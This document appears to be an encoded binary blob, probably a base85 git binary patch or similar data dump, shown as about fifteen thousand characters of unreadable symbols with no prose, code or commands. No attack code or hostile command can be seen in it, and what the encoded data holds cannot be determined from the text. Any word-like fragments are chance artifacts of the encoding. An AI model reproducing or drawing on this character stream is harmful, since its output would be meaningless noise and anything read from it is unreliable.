z^I(rW%50_hFu_<5vPa&67v52@g%`E6ydt|ZTP?2iTM+V!d{VJT69Vk7N_{Yo8dvRA z>CMb^`l?JYb@pqMDneeB?G>|6UJlkpv0Il`h}UE<#kwrT`QO*%07XA*6fXD5VTxUB z6d?A>9K}3(hs%93PqDDx0b-vlRP4*8;c~y6t=Ml%1H^tgU$H;D!sY97sbWpN1H|ic zm12vq1{w$CdPUb_4Ll&XDwY(sF60flL$SVL8^K;s?B|vz#X3OI3zz(ENb%OA%|tHV)2uAg&a2IIg@gi9+4NAtrS;UKW{xEJ%^YBqvdsV zyeWSiYBC>Y+lHI0ciw@JH{}tz_K7C@1?(recoH#Vxp;hBeCS0PHrZ76MiD>D(~4=~ z@u9!Sl&Pd!DY8A|Lw}Vkn3+}kO|D~R#`lIag+?xw#pt2ft1lv8BT5QP0Gcq z+%w+KtUhD+2i$dinbqswxk>lYO}fg}?)g?RQ~3<7Y>m5eF|&H7S08lOS=SP)*9~S? zA9`6g>8u;v^La9>&j%O6!t-Z`Mz7~(dQk3(=o0Elxu85KcSrOJ^}5b>L<|n~Rg4PU zq4{0c?TN?=ZE&6Kj>rvdc%AKtm=YRvQ@-Hqx;+uap`pC~ssa~=@(p`tlrd7va%)AD zmaAH^1@kvbTd&y5m}*fs6;aQqNe_fJyqvuE0AA2O@2b}h5{;se}0YKO9=*zQ96HE|D4>EJ*iju`z< z;JH!c=PG`>*Tl0paP%)_<3D2bzi5NszyE_Z{okpC@$b9nf23gd!F6x2;ZFW<%H5W7 zWElUkF!>+pgTHGY;{X3?1pNQ_|F=uT|JvBo(EneJ|6g&Y^5$ssHgL926ODj3EB-E4 z|CP;OUH`{C@cRG%a0rb5Lc7hi>_67Nf42$!H`jl&+uaveQ|^a1c}biJC(OnBiSdx* z48p}zs6yrrsZT|Ufivu+xW@P^8{Nk8mu{vh)5)eayThL}g?u|Q*E?#$_LB2{$(Clp z<5*r##o#zQVIIq4;TaG8aEjr>P8V?Ic*YToe{GZL^snjvtrUYVI@aJYtR}jZP`%8~ zF|i+x3QB=Lv2(qxQCw>?ooqDK$)-$}c;tk0{j+LOGwOS;UnZ~r?n(bF+y7EJ#lP9^ zbvUIcg^6Yh#z#=f0B-&5+_KrcTh0upFDa|j@Y-u}`?woDv|`B(`4N`?eWelq|K8~D zY#fuQ8=sp@Mf!6U7vmhbMJ!ICYLx@=*kvQK`D=P+5@{KY|6=j(mDXJ3?$TUBI`6LG zF$|Kk%Se8qHOVg{woKU~T8*a^{4r^uVLFPPL&V+bKa;;r- z28wi_#+q0SZx+@{@qW=wmK6WyoF@F2rpl?t>w#H-DPu060PEiufL!j=`-W`hGX8nC z8x!*HsV1USDc`9QuV>wV4Yk{F+6U#XkO34F8im5Db z0!E8V*7murM3RlZMe#89%nvEY8umUE@+Yy1L4y1u(q7a4l{+^3+Oix=@`>Y&&knO%|0oL^pV`@u(pOh95-Z>jOp^YtZTb#In>VlB7nJlQO8;i1-sLAn9MbR5;c-tOOpHPS2Af6UFS+GBrESu4ih$;P7>( zMj?}_4e5JC%h8?=KL*^4fa)j$TAtAS;OG+|*>n_D`6slF=#@IHMraW~XnESYvR{Dl znHXZ7W=)$>9=iALqM?^eh$@6$*;cld7C+)T5=raoNEUES^{sR4SLwm{fg{9o% z=b>jT#U6jS&RQ<%5#z5|)}k11-0-FLt<}cQ#(d=pZQ_(FmaAB%$%!|_aMkmqITh(J zLXNGWXPPxf4#h8o`y?G!sPI^Y>6#~L(k}O)=-H{^_m95#pkk`w)K^rSMWXH~(xad^ zW;W6%TlaDL5w3Xx#zu1n8xg7>=loiIkq=quOcNK@>*N_Tuo2c zFZ8wp!|}s@2=+ZnNo(l?3`YFdp^-Z@BVB(aDNsKyUTYo>MHPNB&arvSzG_R?&y3En zrt6Ob>%`Y-&7d8f@tk%}%q@#ePes-IkvLO zzPg{Ce!kAJH6L`<=4YphhS=NZW*~j;?4i1!VW$H8?4Lk!PW%|t6OP_Z8wsppc@3PN z6Va><={pt${NNj?UlP=^OM==VWy691U`NJR^GUvw<(2R(QeS;G7Y$+$!tBu zGPk%KNX-ke7*vZ83soY+eqz>DTZqL6g=N@7=90XNjixtVjLaWJEdy@Gf-2>+`K$FD z`#lls(fZ;cTaaGacsuZ`aa8<5F1Q*8F|gxB5?4Fkk)uN@=iB~1&BK9 zFX6B1HTvr?skZ&p%+We4ja-dRj>_$$&=ckM{`qg}6)5o-0m6i z5mLy0xt+#%xt(XZod$O;cl%nqj0q5H?aLzYD8Bs#yg+cReb8uw#(31A=d?@W;^+WT zfxw~7BP!tw)Gnaob6SXH5H3b2{VVhnrPt`4BNywN?0;r_uUFZBNclw%k!P?Mgh;$1 z07&B5djw|ub6PSNnJh=g1bG~1cgMMv$L$AE{Be$_WH}Am zWSQq3s3*xmC_YKv!5;30w;F^Y$NwKg!#&dVt~uczaUSf z3w&mRFD7a^IyOVz-}*MB^jewxGDiVTo8JuHk>&$wS(xWh;X%=!Cw-a+pmr2i zIr8X)W$3gQFmlDR$&l3^84en`biMJwhY=qX`I$)B>XGB9%ij)sJN#LXJlm*NK6;+* zT6#6)`DO5F+v-Kpb8hg%@U}Rfj&N{Bs6#OAiM=Zc`&Y4&9O^RRx9 z>B2lqtVtPUr%UoodyefFudB9+Y&o4Q4f}L9O4b8f&a&_H@GF{Qm-^M&^X#R_cF>x^ z1!pqmz~%*Zw8wr)AB%T6Uea&P!3DTxnGzr_S?p0qQ1HfrWAd%Y`JdT$I_TPIr(;dZDf@A2Kuf&;A<5D|{~LR?lw_e$ zO0qngALH2PxF@2OBgrzOZvdPoV$Ddh^qkwyk**KIYLTw*!D}G$Y!mT%h~ti&)*T%+ zj`zoP1r`4Y>>AT#yhIG;5x^P{!<)P8l7~F!q+Go z>D>{AW1odm_F1-1su1Vo6D9XK&Ph&TJYu0I0FLk;f5b8pSA56eZHIONMLzDh*UbV`y6#_zll@)tmMtl`bY$xq0qPE`(8C`FUapu-3u(&$WI{GupFm7O;=%YoO!v$ zIwanC$Qvw;&*7t*5b~qoypeE;vaSq@mwj}3OETW&`ur&_n+;fg$M1%JVyuNJA+50H{-y#B@0Z!;Cy18_~FCxC~s&?Z}7p1sqx7U{=; zF_=?pt)7*H`Pfs|8rBc6q^z|j_rbzq?G%2}waNO-#5z}%le)UfNncE>tgg8gczyE1 zW|+HhB*jkW;sl(OwVs~+wQHxfhS0e>;TP9VT+`vTbk2&1%dSdPcZXK(yjtMzxk|~+ zm-P2c#++*F(Oo2GVuf%T3k$M6*R#4ie{)OLFHBhESt0LlROz{e*QqCYMSEVXu%y|a z7a_J9&nJ1wTJAx&6ee=7Y+-yJ_@~^$eN*kAsvoz~7m|sbQselxb%1>z`gn(S1o)fh z5$9E7Hr`6@oLJPrs|GC#@v5`dAVUqN8LoVsYn%CsJzR+cT!{l*aGur#UnTRjJj{_i z?MlT-an8QG(IBrn=hm`eUgr>oBfTy-Hx`WXy5u~7{qv~sj+yCoR9u~120YpEKCk1> z+Z+vm`^OvGyc{;~n5Vp?YeMViy((~tEkzV(qdo}4_x`)HD?~c3fAE$}SNq(Ty~^#A zv-f+Y>t~xB0UjKuiz+_NnPGdg$w`r6tHFz+v4g-q&sNgpL$X0XrR%dWEsK$kebrW( z`?Xh`>vH6GhF6|#K&vEYIbUGq+2|4ubw$m* z*V^bVNxDwQ6w`H&wD#T?toKxQ^iFb3itmY(Md;B@T>K{6w4}SdH`y|9*|N#zJucTf z!*#){+N0WIZb`m(wTB!x)!WE)tx1{XeMzL_ny1?1VG251-|?%wKR~x{^Zt~(z1kKz z_GRzWoN}I1_Srh)obNu{fLy|wy9u{9CA_QoN8Z&o%ZPB9B#MZFsejlpVVV}MtC;nZZBQ}F-cf@u8bw6U8KAu`&8s%5oeevd#TwmXY$lS~~ zOfFfHW)H(nlp4>5e8a7oq$yf$dvM%P-r{rFdSzl{$y;OI-6*xf;de0>{}3Z+NeAB`0_Q-=9Qzug(sa zQm-vFy!~o;!>HkvPU_jX7Lt0xoQ8hYE}urUkG&cj>PL$);vYrELvFt0TL<0gXy@mr zf8;gDFNCXdN$*sN%Q$`iY+Q`!Tp=4x<0^co#w2%bZWds#!3@F|8{l1j=UfX1V*QWf z%;#Jed-+0M+naC?@SJNzM801f?%WmlU2<(qi9~u8Zb!uF6~G*w)~_ntdbTxt^jsg(q|L4XH1XT;y0LkRC>10eZ^0D(k&mu0fLr!($$W`lfE=L zJn5p*;dzkd0$gS}JX;NsqTE6EagSJjX+^ghY@_LN!-4CABbH5k>G31WMc9^(SiYNu z>j3Rlyho`mU&giNji=61T8gU;Z6VzO^q>Y@GUT`)QTte^v{)a<%n;@CE5NV z9tjco{+qO)`>gg4@oe5_y?>PF&OV#`C$ddgp)#{3yaNBMC2|^`+d5a&6jJY94Q9 zvI#C#*6RHy{p>$gE6e@eZ}Zfrl`Ym@0J zVFS<)_6Ek%^I5!|LUQI1t;^)Q8r1P6;wtO~f67&oUMWVG(u2JGY_ZMq8>D*9={*J5 z5aYcbHs(dYei}Hqhfgf_Zu7)M~dpSqk_)UW%BZz zXq&&+z$7HZ#7?c#6^D;tY(N8Bduho|Ha@aX#Z_##4+UkhGDE zwRjH{dN-I;7*iOt&6F6V8{sMR5uVLh#wcPr17j3p8RJIAy^OVtB91K?Qy8-u%NRE@ z?q#fH6fM}EF@@2{=8rPQjf{I4YZ*m6XJAZW%w{ZO+{n0>v6eBr71@_DZe-lcSj(7_ zK-z4^GRBRD`H@J9y^OVtqBR%Hn8KLNSjM=KaW7*nqexL@n6S8+{VQ) zrZ8qR<}j8qmNRZ-+{74lJLO7c%wa5N+{Cz#v5pbDF)X7PQyH@fjqn^MWsK#F8yPn- z?q%G^Sj$+)C_0fl$r#BP#hAjF%9zbq##qj{k#Q5_UPfadf7CM8F^bOYnlX|wiZO*T zl`)$!hp~*YoN*)LCdR#t`xt8(>lg+8j4GRcYYDV8u_Rl1TKZb1Tb{JMVfoPVqeWPQtj(>ht?jKHtzE6dtRtpbgX>niIy>m%0ptXHj?&1H+Q?e#d|alxa)zTRGCf8G9@z1XqXvBt5%vB$CB zaoF*W;{(UXj^7>E99E~(>FW%1hB=KU&UEJ;&LPeb&K&1d=Pc(OXNB__=RW7B&InhU z>n_(s*81i-gCUqdyn;* z?z6<_BcD{?>AnkmFZxFK_4Ld2o9Xw2-)_GHexLiD@%!G-)BhI#LjOblSNszjbZ;=o zXfU(EoCY7`2@;7TG8P=M@x=ifKOC=VfWtL+i)b+pM@sT=q@-BHi4t6<%)yb81vpZ& z6h}(#!>N(w;uf(^v=bY}tzx_AAf807moW_6UFSma97NLhz)wb91oq3i1Psgi6Zp~y z8_pJ$WEn1e?8)*2em5crSUxixIJG1SxP#?KSpFtD9x2sfgkQE!1olpA15C~904yER z85kPf9r(eb-oRCh2?H1(WfT>ZQpeivEbm{`+dxtaCcj%r-BlX^{Edy8Pq>q`oOvqa zNVc@He65V^A5A3t@^He@lL=S1BD}wV@JchnMVx-D6UiYlgwGEntn(Vs2w!V*uyqH@CLSzFhKQyQBwu9v6I{{w&Xlr;t9w89#7{b< z7>wt+w@!0!^=I6{DWh4w$Y^}ZNevk9;iOWQ_b|T2DIFM>bIN4K-JG(bXgCTpgRAQx ziiw!gQNa5$^MRkvoD96+r1as8UpFQB<+AC(q>^G_u#rSb*CrG8FQ(v{olf{rpEtJKH;JqbOb-9#qE*H5tk>pD=3B4y$CHy83wvKujxGs;d zUkYj4rzBGRU+Y37l#}{5BY7x0Z8-Tc$lciWZ;i-BWN*SNO9^AV2{&-n2ZTKZ*`pOT zVAc{!Pn`TbuucAc;JafE19vli*^;z>Mi54iD5m(2=4?L>eFsV1W)X@s!aSB!81H6G zV!V^FdBO*AaU`d6idPukp0}pU?^>1djEKVe zw-cy|z4$^V#Xg`W_KW6_Uk7UV`^7Q9gIERe)^ngH4r4Xc#1X88ns`$r0^h=VsEMQa z8mHm7T|3}ASQRz#u1E$R6So78i%!7zL>J)uA{F?7f$w^nIDtPYrHPZG7w|)o4*W>; z0oI6qz>mcpz)wU5@Kbyr)Wm0E2=H?;6!?Y61lEcXz&ddk@JlfYcuM2|Pm3|YGdTaJ ziLbDrYj~Y!9`G!_MdB#3Fec&S8&LrKR!jw+#}`XYd?#iAzZbKBKVbdW#E;kkG;slY zfQIdro*lU;%7H)QE2t)Z5etF8ibcTRa6nHJzhjrs#3gYr@UmD2yn_8g6Ibytvxb+F zKLEUjLn!$86UPVXnXrd|Qf>fh@)4j#ZUS26W}r=O1?uu~pogpi+U0hjL+$`N<3PX8&DIs%j1wc0yU8$--nzE)I`@cw_nj7FtX$iNV*HC;YC;%AddoS zVxqhVc@j_)ljSdv3xJv^l)piq2GqoKc?t3ipeE+XE0E^`@u;Bu19BNq6Xo(x$n$_2 zULu75aN`DdpTt6Gfqc)JJFaTs#(mNOvJ9w+`=tx=a-b$wNH54Mff`;P;{*8tAP$*I zKgeru{iFNq?wg8T$f6T4+o$S(pl{65zl@=HKXyewlN?*VG!6&VNlRUl3T%Xr9p zftuJSTS49r)bJvWM92q#n4B^R@z4qFBuf5jVYwvUJxoZ^f zDZWtLqm&6hCF03lbbv^D9wSi5PqZ+rDsFhv;Zg5Z}_kp?~o$X#{h1Pu`wGs619bA!0j-3 zSOw)V2aE&jpaM1*I5ZD7BJ<%_3l_j;#0mCx&X_9ZBEZyOK~%@w;PLf^@Wa;bm=-LG z+VHx29at81;WgxXurTUl-q>gmtTC7mHWn5~18fQ8K^_&5c}$W`+LBUgp<-2;Qx@Z*TF_>&;p5l9NbCrm4nAHH0B4!+J?vQ16L*4M@2^RgW~wB zuvqBXd_tg%>k|3O_;{jK86QjYBotL}HHgNm;90c!M7auX3pu7L9!YZ~5>#;2 z&{D?@A#za1$3PUK4!vGXY*)t(*v|Z<@TlNmehlHJj%zUNLjvQ-6rwIqc&P)iC4`a& zu1oVErfA?2s?~N4T%F|*l^7Ww6}XBp)x@=F4#WgaTpzGpHSx(X)>KVks3&n)6RIvC zuA-a=(V&TI$&S=>35_KdY2wOk2Yxs|jz5w`EsT|35}3eW7*CdyO-f?5aCf?%V`SjU za6WW;WmI4cH6Q-~Nv`qm1iG{bKh867rDT#GUQCmw6hYFYkH^qe?c-x&_>pmQL&N!Q zff0OiM(v5!WASwyG%Nz4p!_-!_l2&s+~1`;E8$x0aE+&+pz<1-vB}T=pkyu*d7E&^yk*lL( zA_C(=qX>U%Jf9Z4-v&3GHh(ccHY%JFVk(I`=KT{ooJ7!&VFZbr4IaZ%K_IFJbAj+M z*P7lu=`G=}v=5B-vNM?CRZmq;~=qym)ptzW*NQoaGUrHaD zth`|S368_mOV+Q!OYzx=G!p*!SgJCW<`IR(U~34y0(^|JIe2}Mzk;y^MBoQlZbJ)j4IT3svM2_Q zRQOl|T>qqC+kmSRS1#j9k^%|ds3>5%gFov4hjRANL^vF=L|~ENe$D{*-W{5Z0w)v} z1NhSeLV-{UPV>KTXTkxO3yB#B6!gGfjs&;W9U!5Qg72~Z1K%7mLU%FHi2w{o#Ebv$ zD!>U@4$ow5*msn`-GYd2S_kn z68?SMT1s;HF}|CrH)|zKP&71yM!W!a0IqQNCLZ!$&~PXgPE?UZL*0=#qFVoJ+?ejq-l55%l<+5C zFfFP!@s!D!;;u0t27*wKeEiBjOv@f%$ao;#{S^z|tDzP2f0aq{*o>Jp#Q@%2xxb{E z7pCnzf1GK%N}2dB!tWi^DXuu4g(6`&;UmY;8&$~_R&#}QTwx(@loGWH^9A5lxy&=RicX$T748G(?@p z;ofUkxgrDT4T~qG zBr-x2^)Mw-5*uoh5EhF`=L&&ImC~wQKbjJJHxM{di8`&Vj(WsR6Oo;m#DXeHX#}0a z7%wnqA)bo{q+lfwnZtPt%o-B|iU5P8$6nN?&`;1Mk1FAl>@(~*Tq zap1#3jnIMj_}}GR1%|mdk{gjL@PY-S1X2$KL2u+nJ17w)+S7fN--AChx$&+9XG9$!t17@UMdZ2}_qEVQhxr7z+9UfP_mIR7V zQS{6i(8f|KJ(G&8kfzI#bsVWW=?lm@AYEji%bCC&;6BNIZn_s)NZ}}@BU%EQQo0{W zAdsw)&L=aW6k-J83{RU4lFChwS4vMJ^Eg$QN>va6!?@|2DcEK<#-QdKi4@p62)OCn zA&r(W1CPk4ug$w}j5cC#R%|R0(M{-UnJ(of$Ad5uz zh|gSxwxE~-UITUErk8WzNES@X7$%!5%0i;g72ajBRFy=>PzwEvPLVkl3v`OZ)}wRN zD>&TrO12D`V-g*VEE%))FcK3UzZj_xGoXw?k3eUD6HuUtF~M9Uanq}bBg%}if;1Y3 zO^Pz;V+ELeFEEJ0!*WP#azJ7cl+5G~XGqC|hh9O`lPDcBK;sY%fQf`wc-qhy%pS?E zIv6Nd3>t$(t&z%bCNmYdqU|I9#Cb)A0+Mib!D~t$MEfZAGy`8~96F4d#=vMac#$V? zS6qN-i8mvbbEsGwbgK;V926r3N$-SzQkVN#sC@%&I%)Yu7z_9VoPs_gg=L^|i{xM> zqN8fA>AhT03k-s$tw={LQdo*4t_m5dlOYAyBUN@RSJX}RMJa;@tma8EN$bmE5tgb9 z9RZ0yn+$D8d+_^IDzG?- z^#KBAb3_d2WG{_0nDU4sA_+J=I*Ti6gA52J)J7nE!bFXsCos}y%5p_U_o`AdCh}T4(W6WDMvs7#&=l9Aum1RJr0nI_V#=SnzgT zsz8UZ8pV)R4W#Q}I`G}Mk#Z85@EgUj6a>;aI70>kCepZaauLIaT^d}6DLt&_WCTs{ zL8gZzP$(G~!82Jj`@=A~U-5uBBtFu2ngSZ<@QR1@j|Gk!*psQGg98i;RDo4k96>Sx ztzTp!9$CeVP~;16=#Wqb7egFDEKp~RhP`pPI%AArFZ57+3=9T%eJBCmo+*t+Q`Etr zcS@qYq;!f!09Rl#kzBxvRt}OQg=`Oq7-~VB0TY9GOU{p&G?3g3QlXVHwj+V#igQqz zQpPT%GU99SPm1E9m`~6dQbH;qi!6ttlK37ppd^O19|{3n0c1dgDv(`A zs!KtDjV)v=1wf9Qagd{wk%hEYTbrlNK{`;$(D2-DGQ}!E*A#G zO=YPu8Nl~C05=ZDuesvaAWq0D&Ou-h5-LIQrVg3lkt!sbxCPMQ3+ogbN|5wklU-~? zrZwXtwX$URT~r4d`S13?vnD%L@RML0qJt>6Aw4OkOKVFZPfiL6dPW%sR_Y{V8#Bte z8TTk9Dkdy7VQp&TF!7NlxMDw!>d)**&!D@SKl|}>=*?VlGkCmc>}1o;BZEQ-a!}1= zH!s4VI4~-3(O}1*s7#y896@Ll{3M4sIZO#gqa+4*j{}huL`;kh!??(ig|<)u^1hkF zC=^WUZy3S{@);F~8NZC?XG5JoyWA-l>2v2umpZ|t8}5E1)ZuXEFlC^rULZFB|HG|9 zgc=$_9F9A=;?7@(fKW&lR3hr#hy=N012uBV7Q}xm zK?)|M8Po;Z&uBx&GEEg}4HH1zj9v~GoN>}25!G=;bu94p8%I_mQ5|KM0X%{N9RdV7 zkQ`Kp2YN;M%xy@mp-UQIS%kOAH3k;#UsKXVmNvtDN-qpkNz^MNi_syX{-K*xf(3?& zYKo-H(}wkvziFCFmu&BK}jbpx`%;n!t*G&jDma=oJ7F^6l4?rx{S%R7sO6oMws9k zfJE0&P=-r$_1Mr2%F9Hc5EO)?AQ}QO4=~_f01MK>+mMz+CF@X$ISOW?z={PFki%Pq z3Wd^Sj)O}4s5I1u9kCnV9brvIM>--Ii~;R0AnL|27S1q2^*|NnkyG%uZ5EBt zMYCW)a19uS28X2#VXDuQ;bk(+C&QCucz_JSk{ZBD{EQG9FeXenjI-cW4Qh#b3<#Iv zhEx{h1hR5ui8&e0Btt9Wg#kljypg=&uly&Aav(&6o0dOBddKnX*bDIN&E`T%u6_TLf zI}nwDYZ1_V4UHH8kr1eK8em)DiUqvwkZ%HlNkBvd|DRh!g+?;ieC#G~tMEvbNLAWPVkvh~>L29(UE;p|v?(GkL`ls!qO7wmv?FCr4zKv9;;r781o}Y%6+x0HJ@AtxPDk;wtnn5hydBZn%|jy2+kQ&pS$_ z++-Wko$`p&H`!yPf}hD@YQ)P{c=G8z@$M$u0N*SnPjGIr4e>um$rCegvEf+DL>_Qf ze8SbHD7wj`(Icjzo08}rZY*fQ)+dT@ zvGrGp3=}Yx2=aCox}*3Lv&Ik#&|NU#fxVU8*am}Ut20*7R3EB_C&d#g++6Sm$%sy=v6j^ zY&qLNif*rfnGkaAxQTZ2Tp&mFE#?<;XPgvZ&fVK#&Q;wu9W7_WB?Ff%Tyk*9!^MG1 z0WL+jl;Gk@j+QH5GFCmnMQ=`qr#eCO;X}jpFfo@<3R8{{aHSSF*m|y8(bkx{O}jbp z&f1Rl#`@YseXnejT6tUP@a%7uHe4&75vQ0?|!AF{|etPs!n-JY+j1xSuVf(&OxpwVZPMl@xQbmTW>#SY# zwT+1flL@C&_y1!Zva77D%yFL+|KL04OM7RWPO8sMvJ4Zv;3nr?`MRPz$qyi1L4 zUweA;7OxfTJiX8@;p+R7ry~wY`eKS-gw!_A9k*xc*`5z8yq2u_c;M6e$8N4o74N$m zZk^U@yV75;K??}|ebSQ7yhDT0e+Gr+8SJ??Im{rrvM_UXNJz+FZLQCu>egFFj9f!9 zO0T&a_SY6>p3Tea(9(2Q$f?)(=F(ymkyI1*Amw3U=4l=w@K;g9j;sDynfv5%PO@8V z*RhvRONTrn;(O{6Zsjg7{xhiZxZ~qLe)Q%C&)s;rI`!f6OuLTi-&gdVD4eN0i=#7p z-N4bqq3(r|5rG}kzu*;*rHiT7t>}_m0JY($}OI2OA zuemS(5wAA+R&8mh+uTQg&AZ?HrJ(Sods|We@!NgallHeqYd?lR>niaGeY&OB$Tw^I z*Ii@gX>L$Aoik@c#+JC+vwm55p-#i-zu$YjB{=6uQ`T;*d!jy?n>SzEUFf@EksZ-#t87dN zZIu~I-@)Qj&NvGYqWtzICQH}8&x*Fr(Q^k-WA{Hwn^o$?O8 zREHN%C|s$F)i)3ARts5Ced(4?z}%OW&yGHRpO{{;&Z*99|Bt@Ds6`jOluP>m*taw| za{2Z3y_qRJ?Wy{owj8aM78dsVdjuW{xRuB=^}XjXy0iSqkt2A@w@-BueJc(2Z^G)o z2yDx%4qX)pzQ}5>w5uwx)Lv&1{@1)u^nieXS5LzVeoXM{{Y_zeoI`8%nJwjS&K2@x zFVXlj1EJicGOKjd;GkF)CSx7lSrQa8ST|L!Lvv@UebKBj^#nY7~ScTU5$j9P8_ zfvE4HpNAx8!v`u|Ha%$mQhsW2i)+J<%e9|qA)lLa#brBJ3uevAauYN>A2S(VijbC; zrhCrQxO7pxZ7n{ndQn95oE3&D4~dM?lc2OZ%>0D7Okv5D-S<{a)S2}1zLhY2M?;i* z@ruyoQ%+r8e$rFco1Sio9=)qJCnnZ}NO9sjw>wwv#(YW=+RVCkZJBv4tOPr1m3PrJ zTTi_pBKR;UG}Lou~+w?eV6-@YZltXrL3q5chtS z(AVRCdSzfO-83WP#EBC`eR9=IS;%SH^X;(!k`W zma^EjrSHyN!R9!eTHITZYms#c^Z9et=HB&H=Ta`dGY&hyH`_f6>ooA(Q32(VY$uGgjAle(v83~Hzmv+ zidB7e>)>R?tH*3R-Z$Uae!FX+(y2adUb5UwYXuJ32@i^}0ymJp`>l<4f-(Zc=vs3q)H!d|Hrtfn)d~s!)MeFiwaR`klvwey z;#c1O(xrHhZX9}eU@-$_5` zX`U!`-KHeNZ;$mK75=qmyT2Z)cs?|*uw|dixY&|!8wTqvPJFZupBa=~G0*EjFu(oq zfdjRXM~ErCX=))0u#i`0%s+QLxjz(PE|~nO+r#YO)rpxEmMLn2<+C)@)xVzzE4Wf) zk=nh3{+j9M=Vz_0qjMxb_0bG##*f{m*{gid-#pyLG|g}ry|#M$^q1?dM<7vh|8vqM zFRW_*sl`NnSXJ?ChEISqR`q0s@Y2OM6S3X*{*zfK6QH@zsl3i-ts2(#{&CZ(o69?; z1Hziy+uIupU&cM62drDSZh85)e5nALhBlwIH=Ac-vEi{hx4aFM72F8j(Lf5?-R77+ zv0hQ51?_56#OiIeSCrlG8-^+}w`4@Vp79%A<4;bHdwAgP`>vgJg;O8lH{4nMJ|&h9 zT)nF9-E+HPy}EJofr|luIn*|LKZpum)z1Fi?M%vE;iW5Fr>GStJ5DNh`#M!m_$Z01 zO72_go4fgWLr`-}Qljd)$deHvv+v|T9r*NBk*3&& z{jsNb(szrDvee?`k<&iKoHN*jffzQy46QkP=qj)O^O2=JeGh$1gGPUfd60yC$lw@t z>MSal`iXY6CiJiLZyN{e3$xa0VuJd%j!N0oTEvwx!(6c`v20pYW?~(^nwLPDl8qZT zzB}imT8Oy>?&D2xn;|Rg?ChN2dGeN;(CFk&?U`>rnci56d7i6|jZnQYZE?-tu3^bK#Sn%YF4=qwGb z!p8^quhbr$XP7H^4232eT>hBuzc09=xXe(k7HjyQ1J!=-e(`?vw&1GCy zQk$jVu|=gF!zRUa`n;sM`kyOazI^Fft7`qOprvTYLh5BzSj^IOTCcQi`jQq^Ei|`k zsH^KO1wUZsoI0&V;3i}yzPY{Gp#F{jiI&!nS0?r^nC&p24Lqimn?c$$6}O)W8H(Wk<+s$p6d;if}1u7R>Q4jN*Sg+b-);GxRF zfxe2i>`@yhVIDp+EG?6Ba;KB#!Y|+)c6yi7sX2k?T;ET`ghiEeE1n;JuoMHaX{t3= zlwEcvBKM;4zWaF*1uciAZtOO2e)v9f6D)*A+RLuQwM-BoqoLz4)69%}-sj?R-|BO> zbg(m3E6Q=L>5=`Xz$#V6V$CtV8&sK4sY?6*T&n(irMenWf;Ao7Dw@;w!xB4@Wx|~E z`0GJkY)bGP>-F|&FCRY;Y31e#@;dUqt{%K?Av#?(w{=a1UEtP;x%<29g{u!7IIzyH zyyK?YlemsYnbSKK`0l*y!?4Nmv^?)HxGRG0dg@xmCX1+->u+0(nWRPwI9b&qSfsQy zLtOZ+eY5g-ox<+BvELlCS2q-_si{<*;H~Z5?Hs7^WL^D_rXSzm?i?Z_=B^0;Ccw7E z6!-tJ~iSgJ&pM-Efin z05b(A?~=3r=i_I`F)YW;64eW|6~wRR$`9U&n3b?n3)^V-N;N|`Q#W9a#)0W|?1v9$ z9eS=JlM#G#_3WgJDOXol95UeXcnzKdt7>tVisgUor##YH|10ekofnI%zg$o4Gh0?< z?b#I+IQjFOsFrm@9Wlkry}Lg&eU6g8I?Hzdy;TprHYFOfBE9R(>)1_#gHgXnp7lPb zaJ$oGDDJA2{q@MkD?5+OPKwzs4%pKs-gLP?%IQp1Lt%K`mkVuQw)E)k>h9@Dxp;2V z)CcdoR_vtFvmaq0f61J@wKt;Pth;`7#n+N^vKe;wEVPd2<>f88bLXAI$MYW&oh=Jj zL}bcW?RYTRX=RVA4K{TihUtvKh;O#a1_GAwN4rjVyIMoEt>Uxzd2d&l)%|-@fIU3u z@mOB(P)rv~et%Q_$MfK>tbVw}uWM}g;Gk!HWUu4q9$I$Ux2w62=314`It6a^1lX;_ zBqsJm`bHh-?RuY?d2atL@3xQYT|L6?G>pJmoyaqjeyEtJXi?<>1*Y^s~R@N@BUlbXGo9Bbz-Y#LP< z7PEXpw^iZG=x-2f;b1liL zElXqSF7AvH1g`ljvdZb&Xc1bZLAnN_0i=~ zwzZcDQ5wEtYs7R%*arUbdGLtv%*VF2wx^vvyt6OQ?(2Uc$e(_4(qEa?Vevu6`;tvF zD|XaHj)y(Wk{r{LrZd*Hx8=^GJ@;k1og4ikSD76=mAtdvtNO+Jj<56b+Ma#&lX@Ed zSmU8niAia~TBHS-?IJJnaMjj>dZtgbmYuLuuYrKyVIH3SYq`xEPYwdGlz?d8K)+(M;lG?p&6Ac zcHXfoNvZj&An=?(?^GDrbdqg5ZPDo8%JrPCH8hs|sqX6OWb3ZCh^v3msyFHKO3w|y zMcC#?mo)OM7rqa*xw*6N;+@%-ntCQ2oZa;P_5SvX*Ja+IQWk<6SMEyu zLMslLZ#{0f?0Bm&}hfb1KgHjvGHd>OxJc$;2ymOBgrm z3)Wbl9MebmF*IJ3RHgAGa2 zOy=V%rJ;GoqsEP~Q9Sa@wq>iO*7toK!FH?ZHuDB(xv$pv9o&Z5YJz`V8{HT$sA=mN z$mWm6U~}4UckI>f?q{nQtolYv=K;@L?^x@_a?3u`^1;&dTwa#z>#1{e8+P!s@LgM7 zP*9MdXFyMihh2GT?X=(rbKku2V{A_M7r?p9vq`>%vs?Pg*x%*_Teb;G5(e9h>w0&2 zb*!<-EPcNG$a^TVz~U-8=6n|T9{MVLXt^LZ=~7{EOSS9V%;bWXEB9w~gxMen=>L*sZrg#&p`WIJ=TYogTmJ z*3j#^)|Qq(e(yLv?zgE}?l$x53>WakZ6Ef!o6sJ0O$xBnz5|(OlWEWM{D&^AzSLWE z|J9J0(ueG#%8-dJeI|A}Mv88Z-%9|P2z1kutEi5WC znlWk1apzPk<;0ezs}E~5+D)`uPcyy?lQ7Z%S82hZNmz4u!L!)D>*Blqsz+a6}$H<2DY zzP+`zAv+=JX~Bc_AOeE49Wsx9m~5;4lmB39{Wt3_f#0QvOdIVxrC$xUg@Of_T(XkNlLiU*q47NF6`mXr9!qCL2rEP5NhAAC0-3B*>#$c9X zw;W&UxA3nw58N^A1X2hkWw$?@YMIF_RiGlTBkF;xPX!H^tEBCX6kA4(JooPJ{C${Zh z;^!IpY&gGq;nU3hR@>*kP4-Xp1e4{d|2eiPOYK^_VAgd9rXt1z1&><%c7MydiXZ$%xCH!sVzIIURZ)9h(yEM+rz~kP$vVBV#9#73 zkDh%i?wMe{t#bGBHist9o`N~K2{olBEWaH6)V_F+T*ah}8`br%y+f0(DSS&P%3JH- z+8292wWD|a;27h11y`R3)B9dr(NPH!L~JaLvv@*iyeK*fJNe*8|64AxOGagspa6A&C#cp&5^r2=4s`SaY5Ja3w{itA$C8;>!Q!Y 